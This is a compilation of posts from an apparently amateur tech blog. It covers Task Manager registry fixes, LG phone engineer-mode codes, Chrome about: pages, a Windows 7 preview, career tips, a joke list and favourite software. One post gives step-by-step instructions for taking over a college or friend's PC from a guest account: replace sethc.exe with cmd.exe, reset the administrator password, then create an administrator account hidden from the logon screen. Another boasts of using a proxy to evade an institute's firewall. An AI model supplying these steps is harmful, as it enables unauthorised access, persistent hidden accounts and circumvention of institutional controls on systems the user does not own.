Alexa has updated its ranking again and Prohack has stumbled to a position of 258298 with this from an earlier 4 lakh+ rank. With this update with Alexa’s improved code for better rank analysis, I am quite happy with the things as they are going on. This is a significant improvement as Alexa has raised their standards by tweaking their monitoring  system.Prohack has achieved a good status as a leading technology blog on the face of internet and this has been possible due to your support,which has strived me to keep this blog in best shape.

Keep the Good work up friends and keep reading.

May the tribe increase..

X.E.R.O

 

Many times when working on a computer that has been infected with a virus, Trojan, or piece of spyware I find myself with the Task Manager being disabled. Its the first priority of Malware creators to disable access to Task manager so that the user is not able to end the process of the running Malware.Until or unless you are working in an office,there is  seldom any restriction placed over Task manager by home users.So, I will be mentioning 5 methods to re-enable task manager and restore it to former glory.
To open the Task Manager, you normally would do one of the following:

• Press CTRL-ALT-DEL on the keyboard.
• Press CTRL-SHIFT-ESC on the keyboard.
• Right-click on a blank area on the start bar and choose Task Manager.
• Click on Start, Run and type TASKMGR in the run box and press Enter .

And if instead of opening of Task manager you see the screen given below,then you need to re-enable the task manager.
 
First we’ll begin with the various registry modification methods for correcting this problem.
Method 1

• Using the Group Policy Editor in Windows XP Professional .
• Click Start, Run, type gpedit.msc and click OK.
• Under User Configuration, Click on the plus (+) next to Administrative Templates.
• Click on the plus (+) next System, then click on Ctrl+Alt+Delete Options.
• Find Remove Task Manager in the right-hand pane and double click on it.
• Choose the option “Not Configured” and click Ok.
• Close the Group Policy Window .

Method 2

• Change the Task Manager Option through the Run line .
• Click on Start, Run and type the following command exactly and press Enter.

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f

It will restore your task manager and resolve your problem.
Method 3

• Change Task Manager through a Registry REG file .
• Click on Start, Run, and type Notepad and press Enter.
• Copy and paste the given code into Notepad and save it to your desktop as taskmanager.reg

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
“DisableTaskMgr”=dword:00000000

• Double click on the taskmanager.reg file to enter the information into the Windows registry.

Method 4
Delete the restriction in the registry manually

• Click on Start, Run, and type REGEDIT and press Enter.
• Navigate to the following branch

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System

• In the right pane, find and delete the value named DisableTaskMgr.
• Close the registry editor .

Method 5

• Download and Run FixTaskManager program.
• Click on the following links and download the program FixTaskManager to your Desktop

Download Fixtaskmanager

• Double-click on the file FixTaskManager on your desktop and run it .
• This will restore your Task manager.

 
I hope that was informative.


Posted by XERO.PCHELL.ALL RIGHTS RESERVED.

I have an LG KG195,an average mobile by LG electronics. A modest mobile with modest features, I purchased it for INR 3500/- (80$ approx) last year on my birthday. It has got Bluetooth, a basic media player and a VGA camera. However I soon got bored of this set and decided to tweak it to make it a more desirable device.
LG KG195 offers multitude of features,however I was more focused on increasing its music volume which is quite low as compared to other sets like that of Nokia and Sony Ericsson. Remember these hacks are applicable to other multimedia LG sets too.

Here is how I hacked it -
I first entered “ 2945#*# ” (without quotes) on the title screen.It will open the Engineer Mode. This code works on all LG mobiles.
Increase MP3 Volume
Then go to -

(4) Audio –> (2) Normal Mode –> (4) Melody –> (7) set Volume 6 to 145

Then Press back 2 times, and when asked to confirm “Update Parameter”,Press Yes.
This Hack will increase Music volume for the MP3 player of Phone.
Play High Bitrate Videos
Open Engineer mode, go to - 

(7) Misc –> (#) Video high Bitrate –>set it to ON

This will enable your phone to play high bitrate videos.
Alter Band Selection
Open Engineer mode, go to -

(6) Band Selection –> Choose your desired Band, by default its set to (5) Auto.

This will enable your phone to be set on a particular Band.
See Version Info
Open Engineer mode, go to -

(1) Version –> You can now be able to view all the information of your set by choosing respective options.

See Hidden Network Info/Data
Open Engineer mode, go to -

(2) Network Info –> Check all the parameters given there –> Press Back –> when asked to confirm “Update Parameter”, Press Yes –> exit Engineer Mode .

Wait for 5 seconds and Phone will start displaying all the hidden Network data and information. Scroll down for more information.
The hack here mentioned are only indicative, You may experiment and may tune your LG KG195 to an ultimate cell phone.

Cheers and Keep learning.

Posted by XERO.ALL RIGHTS RESERVED.

Here is a funny excerpt I got from an old text I found at IRC. Its funny,naughty and shows an in-depth view of the young generation's mentality,their views and how we all have become a cliché’ in our own lives.Without spoiling the overall  mood,lets move on to read about the 9 type of Boyfriends and Girlfriends…

The 9 Types of Boyfriends

Joe Sensitive - ‘ After I wash the dishes, let’s cuddle, OK?’

• Also known as : Mr. Nice Guy, Family man, Honey, Darling, Soft-boiled Egg, Snugglepup
• Advantages : Well-behaved; irons own shirts
• Disadvantages : Irritatingly compassionate, wimpy   

Old Man Grumpus - ‘ People are stupid. The world can go to hell. Let’s stay home and watch TV.’

• Also known as : Grumbles, Sour puss, Stick-in-the-mud, Old Fogey, Slow Mover, Jerk
• Advantages : Stays put; predictable
• Disadvantages : Royal pain in the ass

Flinchy - ‘ I—I’m sorry for whatever it was I did.’

• Also known as : Trembly, Creampuff, Hey you
• Advantages : Jumps entertainingly when startled
• Disadvantages : Easily spooked; surrenders without a struggle

Bigfoot - ‘ Shut yer trap, I’m thinkin’.’

• Also known as : Chunk-style, Lummox, Ignoramus, Galoot, the Hulk, Big ‘n’ Dumb
• Advantages : Can tote bales; is easily fooled
• Disadvantages : Can break you in half, sweats like a pig

Lazybones - ‘ Zzzzzz ’

• Also known as : Lucky Dog, Parasite, Bum, Sponge, Snoozebucket, Drug Addict
• Advantages : Well rested; easy target
• Disadvantages : Unlikely to fulfill your dreams

The Sneak - ‘ Who, me?’

• Also known as : Love Pirate, Snake, Rat, Slime, G-D Son of a Bitch
• Advantages : May feel pangs of guilt
• Disadvantages : May be having time of his life

Ace of Hearts - ‘ After I wash the dishes let’s make love like crazed weasels, OK?’

• Also known as : The Sizzler, Handyman, Dreamboat, Casanova, Monster
• Advantages : Perpetually aroused
• Disadvantages : Perpetually aroused

The Dreamer - ‘ Someday I’m going to be rich and famous. I don’t know how, but—‘

• Also known as : Struggling Artist, Philosopher, Buffoon, Bag of Wind
• Advantages : Tells good stories
• Disadvantages : Will turn into ‘ Old Man Grumpus’

Mr. Right - ‘ While the servants wash the dishes, let’s make love like crazed weasels in my new yacht, ok?’

• Also known as : Mr. Perfect, Jim Dandy
• Advantages : Answer to a woman’s prayer
• Disadvantages : Hunted to extinction

The 9 Types of Girlfriends

Ms. Nice Guy - ‘ Tickets to the boxing match? Oh, darling, you shouldn’t have!’

• Also known as : Whattagal, Precious, one of the boys, My Main Squeeze, Doormat
• Advantages : Cheerful, agreeable, kindly
• Disadvantages : May wise up someday 

Old Yeller - ‘ You G-D spineless good-for-nothing drag-ass no-talent son of a bitch! Can’t you see you’re making me miserable??’

• Also known as : She-Devil, Sourpuss, the Nag, My Old Lady, Warthog from Hell
• Advantages : Pays attention to you
• Disadvantages : Screeches, throws frying pans

Sickly - ‘ Oh, my head. My head. My feet. My cramps. My cellulite.’

• Also known as : Whiner, Mewler, Grumpy
• Advantages : Predictable
• Disadvantages : Contagious

The Bosser -  ‘ Stand up straight. Put on a different tie. Get a haircut. Change your job. Make some money. Don’t give me that look.’

• Also known as : Whipcracker, The Sarge, Ms. Know-it-all, Ball and Chain, Yes Mom
• Advantages : Often right
• Disadvantages : Often right, but so what?

Ms. Vaguely Dissatisfied - ‘ I just can’t decide. Should I switch my career, goals, home, and hair color?’

• Also known as : The Fretter, Worrywart, Typical, Aw C’mon Honey
• Advantages : Easily soothed
• Disadvantages : Even more easily perturbed

Wild Woman out of Control - ‘ I’ve got an idea. Lez get drunk an’ make love onna front lawn. I done it before. S’fun.’

• Also known as : Fast Girl, Freewheeler, Goodtime Charleena, Passed Out
• Advantages : More fun than a barrel of monkeys
• Disadvantages : Unreliable; drives off cliffs

Huffy - ‘ I see nothing humorous in those silly cartoons you keep snickering at.’

• Also known as : No Fun, Humorless Prig, Cold fish, Chilly Proposition, Iceberg, Snarly
• Advantages : Your friends will feel sorry for you
• Disadvantages : You will have no friends

Woman from Mars - ‘ I believe this interpretive dance will explain how I feel about our relationship.’

• Also known as : The Babbler, Spooky Girl, Screwball, Loony, Bad News, Artistic
• Advantages : Entertaining, unfathomable
• Disadvantages : Will read her poetry aloud

Ms. Dreamgirl - ‘ I am utterly content with you just the way you are, my handsome genius of a boyfriend. I think we must make love like crazed weasels now!’

• Also known as : Ms. Right, Goddess, Knockout, Perfection, Gorgeous
• Advantages : Funny, intelligent, uninhibited
• Disadvantages : Will have nothing to do with you

I hope you quite shared some laughs with me..

 

Posted by XERO.UNKNOWN SOURCE.ALL RIGHTS RESERVED.

 

Google Chrome,the flagship Google developed browser,has changed the stats of the browser wars.Fast JavaScript and page rendering,absolutely intuitive interface and minimalistic design has propelled it to the likes of mainstream user.Like most other browsers, Google Chrome has some special pages that show information about memory usage, cached  files, plug-ins and more. However,some of the users dubbed them as Google chrome easter eggs,a noteworthy buzzword roaming on internet.Here's a list of the most interesting about: pages available in Google Chrome (you can open them by dragging about:name to the address bar).

about:memory - this pages compares the memory used by all the active browsers and by Google Chrome's tabs.

about:stats - a list of internal counters and timers that has a funny subtitle "Shhh! This page is secret!".

about:network - this page could be used for I/O tracking and it's a partial replacement for the Live HTTP Headers extension. Click on "Start I/O tracking", open a web page in a new tab and you'll get a list of all the images, scripts and objects loaded from that web page.

about:internets - this is an Easter egg that references two popular Internet memes: Internets and Series of tubes. Google Chrome embeds the 3D Pipes screensaver from Windows, so you'll see it only if you have the file sspipes.scr in C:\Windows\System32.

about:hang - type this in the address bar of a tab when there's already an active web page to hang the process (this means that the process no longer accepts any signal, but it's still running). The other tabs will continue to work and the active tab can be closed.

about:histograms - a list of histograms for Google Chrome's internal metrics.

about:version - Google Chrome shows the version number the browser, WebKit and V8 (JavaScript engine). You can also find the user-agent used by Google Chrome.

about:dns - Google Chrome prefetches the DNS records for 10 frequently visited hostnames. This feature can be disabled in Options > Under the Hood by unchecking "Use DNS pre-fetching to improve page load performance".

about:cache - files currently in the Chrome cache

about:crash - crash the active tab. Google Chrome displays the "sad tab" image, followed by this message: "Something went wrong while displaying this webpage. To continue, press Reload or go to another page".

about:plugins - the list of plug-ins that are available in Google Chrome: Shockwave Flash, RealPlayer etc.

 

I hope that was informative.

Cheers and keep reading

 

Posted by XERO.GOOGLE BLOG – SOURCE.ALL RIGHTS RESERVED.

JAP JonDo is a free, open-source and highly portable (Java-based) client software for accessing the JonDonym services.In  short,its an excellent piece of proxy software which can help you bypass most of firewalls and I have successfully tested it against the SONICWALL and surfed orkut and other banned website at my institute.Jap jondo is easy to install and easy to use. Its fast,uses very less cpu resources and barely slows down your internet speed and works like a treat.Further No registry settings have to be changed, and administration rights are not needed, neither for installation, nor for running the program. The software is open source and free for use.

 

JAP Anon Proxy provides the functionality to surf the web without being observed. This means that neither the requested server nor any observer on the Internet can know which user has viewed which web page. Since many users make use of the anon service at the same time, the internet connections of each user are hidden among those of all the other users. Every user could have been responsible for any connection. Nobody, no outstanding person, no other user, not even the operator of the AN.ON service can determine which internet connections were requested by a certain user.In short,its a must have proxy software.

Requirements: Java Runtime Environment

 

Download JAP Jondo

 

Posted by XERO.ALL RIGHTS RESERVED.

Windows 7 (formerly codenamed Blackcomb and Vienna) is the next release of Microsoft Windows,Windows 7 is intended to be an incremental upgrade to Vista, with the goal of being fully compatible with device drivers, applications, and  hardware which Windows Vista is already compatible with.Presentations given by the company in 2008 have focused on multi-touch support, a redesigned Windows Shell with a new taskbar, a home networking system called HomeGroup, and performance improvements.
Home applications that have been included with prior releases of Microsoft Windows, most notably Windows Movie Maker, and Windows Photo Gallery, are no longer included with the operating system; they are instead offered separately (free of charge) as part of the Windows Live Essentials suite.

Windows 7 includes a number of new features, such as advances in touch, speech, and handwriting recognition, support for virtual hard disks, improved performance on multi-core processors improved boot performance, and kernel improvements.Windows Media Center in Windows 7 has retained much of the design and feel of its predecessor, but with a variety of user interface shortcuts and browsing capabilities. Playback of H.264 video both locally and through a Media Center Extender (including the Xbox 360) is supported.
Many new items have been added to the Control Panel including: ClearType Text Tuner, Display Color Calibration Wizard, Gadgets, Recovery, Troubleshooting, Workspaces Center, Location and Other Sensors, Credential Manager, Biometric Devices, System Icons, Action Center, and DisplayWindows .Security Center has been renamed to Windows Action Center which encompasses both security and maintenance of the computer.
you can try out the beta given at the Microsoft site and share the experiences with us.
Windows 7 Beta recommended specifications

Processor Speed	1 GHz (Either 32-bit or 64-bit)
Memory (RAM)	1 GB
Graphics card	DirectX 9.0 capable
Graphics memory	128 MB (For Windows Aero)
HDD free space	16 GB
Other drives	DVD-ROM
Audio	Audio output

Download Windows 7 Beta

Posted by XERO.WIKIPEDIA and VARIOUS SOURCES.ALL RIGHTS RESERVED.

Ever wanted to hack your college pc with guest account/student account so that you can download with full speed there ? or just wanted to hack your friend’s pc to make him gawk when you tell your success story of hacking ? well,there is a great way of hacking an administrator account from a guest account by which you can reset the  administrator password and getting all the privilages an administrator enjoys on windows..Interested ? read on…

Concept

Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command prompt with administrator privilages because no user has logged on. From there we can hack the administrator password,even from a guest account.

Prerequisites

Guest account with write access to system 32.

Here is how to do that -

• Go to C:/windows/system32
• Copy cmd.exe and paste it on desktop
• rename cmd.exe to sethc.exe
• Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.

• Now Log out from your guest account and at the user select window,press shift key 5 times.
• Instead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.

• Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
• You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.
• Congrats You have hacked admin from guest account.

Further..

Also, you can further create a new user at the command prompt by typing “NET USER XERO /ADD” where “XERO” is the username you would like to add with administrator privileges. Then hide your newly created admin account by -

Go to registry editor and navigate to this key

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

Here create a new DWORD value, write its name as the “user name” that u created for your admin account and live with your admin account forever :)

I hope that was informative..

Posted by XERO.ALL RIGHTS RESERVED.

 

Okay, so you want a job in computing. This is as good a time as any to define the phrase "a job in computing" In the context of this article, any job that involves spending most of your day working at a computer is "a job in computing" If that sounds like something you're keen on doing, here's how to increase your chances of getting there.

Here is how to Do that -

Survey the field - The first thing you need to think about is exactly what kind of job in computing you want. Each job has its own special requirements, so you should assess your own skills and then decide which job might be best for you. Supply and demand is important too. Remember that traditional programming jobs are moving to India, China, etc. But new roles are coming up like Business Analysis, Testing and Compliance. Please see Types of Computing Jobs below for an overview of the most common types of computer jobs.

Play - Sit down in front of the computer and just play and experiment. This is a great way to learn new programs, but isn't the best way to learn how to configure an operating system or write programs. At the very least, you'll become comfortable with computers by doing this.

Find a Mentor - You probably know someone who knows more about computers than you do. Learn from them. Once their knowledge is used up, find someone even more knowledgeable to learn from. Soon, you'll be the expert, and people will start coming to you!

Read a Book or a Website - These days, there are websites that teach you just about anything to do with computers, from the basics all the way through advanced programming.
Get certified by reliable company. Same company that offers software (Red Hat, Sun, Microsoft, Oracle and many others) may offer the paid official exams, on success giving the written confirmation about your competence. As they do not teach you and just test the existing knowledge, this is frequently very cheap in comparison to the paid course. You will win against candidates that do not know the technologies they say they understand and just list the known names in their CV.

Get On the Job Training - If you already have a computer-related job (but want a better one), find someone at work you can learn from, or take on new projects where you can learn as you go along. It will be hard at first, but the more you learn, the better your skills will become, and you'll become eligible for promotions or for better jobs at other companies.

Take a Course - This is the most obvious approach, and yet many in the industry have long careers in computing in any of the jobs above without any formal training. Still, not all computer skills are easy to teach yourself, and as more and more students graduate with degrees in computer science, the competition will make it harder for the self-trained to land the best jobs. A degree, certificate course, or specialized certification such as an MCSE will greatly improve the odds.

Get Your Foot in the Door - Once you have the skills you need to get a job, you still have the hardest part ahead of you - getting hired. Since your resume probably doesn't reflect computer work experience, you'll need to add a "Skills" section that lists all of the skills you've acquired. You might also want to mention something about computers in an "Interests" or "Hobbies" section. Make sure your resume looks extremely professional. You're submitting it to folks who use a word processor to write their grocery list - you don't want to give them something you threw together on an old ribbon typewriter.

Network - Find out where the computer guys (or girls) hang out. You'll be surprised how much info you can get just talking to people in the field. And you might also find that it's not your cup of tea. Most people that WORK in computing don't fit the stereotype. There are a lot of game players in the industry, but there are very few high paying jobs that allow you to play all day. It is a real career that requires a LOT of work and a lot of coffee drinking.

Keep in mind that

• Business skills and communications skills are highly valued by employers. Programmers who can communicate effectively both verbally and in writing have an edge in the job market. Those who have a business skills, especially an MBA, are also more desirable to employers.
• Learn as many operating systems as you can. With the growing markets in Macintosh and Linux and an apparent shortage of professionals in these areas, being knowledgeable in multiple operating systems in addition to Windows can give you an edge in the technical job market.
• Most offices use Microsoft products like at least MS Office and Outlook, plus other Microsoft applications. Most businesses use a few special applications that are rare. Find out what they use at the office in which you wish to work, and make sure you know how to use that software. Knowing their special (or outdated) software can make the difference.
• Right now the hot languages for programmers to know are Java, C/C++, Visual Basic, PHP, Perl and C#. The languages of choice change every so often, hence check the Tiobe index and other similar review sites for the current popularity.
• It really helps to know someone on the inside. If a resume is submitted by an employee for a friend, most companies will conduct an interview as a courtesy, even if the resume doesn't quite meet their qualification requirements. In the interview, you can show them what you know. Be prepared, though - they may quiz you. Be careful not to put something on your resume unless you're actually competent in it.
• Nothing in this game beats experience. So that is why it is important to get that experience. Read the previous point carefully, as contacts are the easiest way to get a job.
• College is great for getting a job of any type. It's the best investment you'll ever make.
• The best bet if you don't have a 4 year degree is to go to a junior college. Most have certificate programs in PC Support/Help Desk or Lan/Networking or Programming. The curriculum from these programs are essentially what you would get if you attended a 4 year college and got a degree in computer science but the certificate program leaves out the unrelated classes such as Math, Science, English etc. This is a great way to get a good educational background in IT and best part is, is that its cheaper than a technical school.
• Special computer software certifications are a good way to prove industry standard knowledge and make you somewhat more independent of a rock-solid IT background and long years of experience. These certifications exist for Microsoft OS'es and products, but also for the most common databases as well as UNIX OS'es, and they are fortunately coming up for some of the Linux distributions now. Contact a training center for the status on certified Linux training and cost.

Be Warned that

• You may lose a lot of money without use if the company where you take courses or certifications does not count as reliable itself. Usually only the owner / author of the technology can issue a serious certificate.
• Once you're hired, it doesn't end there. Keep learning new skills constantly. Once you think you've learned enough, you might as well apply for unemployment. This industry is always evolving. If you don't evolve with it, you'll be replaced by someone who will.
• Some careers involving computers require that you use a PC, so if you learn on a Mac or a Linux box, you may have a problem (and vise versa). It's best to be comfortable with all three major operating systems.
• Soft skills are also important in computing, and office politics is present even in this field.

I will be discussing about type of Computer jobs in next posts.

 

Cheers and keep learning.

Posted by XERO.WIKIHOW.ALL RIGHTS RESERVED.

 

Hi folks,sorry for a delayed post,cuz I was really thinking about the best piece of codes which sustain me in my cyber world.These tools are a part and parcel of my computer life and  I cant live without these tools.These include a wide array of tools from all walks of cyber life – from CD/DVD mastering to image manipulation,these are the best bunch to keep your PC experience healthy.
So,here is the list of must haves -
Adobe photoshop CS3 – Adobe photoshop has been the pinnacle of every photo editing software out there and My  favorite version Creative Suit 3 provides me the best functionality,intuitive design interface and loads of effects to make a masterpiece each time I open it..I love you Photoshop :)
Nero 8 – the CD/DVD burning suite charms the end-user with loads of functionality it has to offer,with an inbuilt video editing,audio editing,disc mastering and more applications bundled into one integrated solution makes it a must have for any regular and advanced users alike.
Unlocker –  Keep your PC in your control with Unlocker.Its a great tool to delete undeletable files that wreak havoc on your PC by running every time and using up resources.Unlocker helps me to nuke them out and to make’em pay! You can read more about how to delete an undeletable file using Unlocker here.
Mozilla Firefox – The best web browser on the face of earth,Firefox keeps on getting better and better.Blazing speeds,extensions and great community makes it an indispensible tool for my browsing experience.
Tuneup Utilities 2009 – An all in one solution for my PC maintenance and customization ,tune up utilites helps me keep my desktop in good shape.The app provides users with a powerful, well-designed utility that  accesses the entire Windows maintenance tool set and more in a fast, organized, and easy-to-use series of connected modules.
Foxit Reader – Foxit reader is a light weight pdf reader that loads and opens PDF files quickly,and its a formidable competitor to the Adobe Reader. Foxit is small sized,has great interface and the best part is that its free.However you have to pay for Pro version which includes PDF creation and editing.
Klite Mega Codec Pack + Window Media Player 11 combo – The klite mega Codec pack,Window media player combo plays any media file on the face of earth. Okay. I m lying, it doesn't plays the VOB file from an actual DVD but still,it plays every other format I threw at it,keeping in mind what an average home user plays.
Imtoo MPEG Encoder – Imtoo Mpeg encoder is a great conversion tool which helps me play divx movie on my KG195 mobile phone in all glory. Also it supports a wide number of formats to keep geeks busy for days and novices are provided with an easy wizard for easy conversion into PSP,PS3,XBOX formats and high definition movies. Its a great tool for the media frenzy.
Alcohol 120% – Alcohol 120% is a disc image manipulation tool,which allows to create images of CD/DVD media and emulate them using a virtual drive. Its fast,secure and reliable and the best part is that it can even make images of Playstation CD/DVDs.
Nod32 Antivirus – Nod32 Antivirus is one of the best available today.It uses about 30 Mb of memory but has great scan time and uses very less CPU resources. The updates are frequent,small and keep your system in safe hands. For me,its the best available,considering I have used almost every brand available (except Avira,its the worst) and found it to be the cheap and best.
I hope you will comment constructively on my views.

Posted by XERO.GAMESPOT.ALL RIGHTS RESERVED.